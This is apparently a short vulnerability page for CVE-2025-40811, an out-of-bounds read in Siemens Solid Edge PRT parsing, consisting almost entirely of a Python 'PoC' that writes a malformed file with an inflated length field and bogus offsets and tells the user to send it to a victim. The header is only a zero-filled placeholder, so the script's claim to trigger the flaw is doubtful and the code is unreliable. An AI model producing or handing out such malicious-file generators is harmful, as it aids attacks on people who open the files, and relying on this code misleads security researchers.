CVE-2025-40811：Siemens Solid Edge PRT文件解析越界读取漏洞

# CVE-2025-40811 - Siemens Solid Edge PRT File Out-of-Bounds Read PoC # This is a conceptual PoC demonstrating the vulnerability trigger mechanism # WARNING: For educational and security research purposes only import struct import sys def create_malicious_prt(filename): """ Create a malformed PRT file to trigger out-of-bounds read vulnerability in Siemens Solid Edge when parsing specially crafted PRT files. """ # PRT file header - valid Solid Edge part file signature header = b'\x00' * 16 # File header placeholder # Malicious data section with corrupted length fields # The OOB read is triggered when parser reads beyond allocated buffer # based on an inflated length value in the file structure malformed_data = struct.pack('<I', 0xFFFFFFFF) # Inflated size field causing OOB read malformed_data += b'\x41' * 4096 # Payload data # Additional corrupted structure pointers corrupted_offsets = struct.pack('<Q', 0xDEADBEEFCAFEBABE) # Invalid offset corrupted_offsets += struct.pack('<Q', 0x4141414141414141) # Another invalid offset # Combine all sections malicious_content = header + malformed_data + corrupted_offsets with open(filename, 'wb') as f: f.write(malicious_content) print(f"[+] Malicious PRT file created: {filename}") print(f"[!] Send this file to a victim using Solid Edge SE2024/SE2025") print(f"[!] When the victim opens the file, OOB read will be triggered") if __name__ == "__main__": output_file = sys.argv[1] if len(sys.argv) > 1 else "exploit.prt" create_malicious_prt(output_file)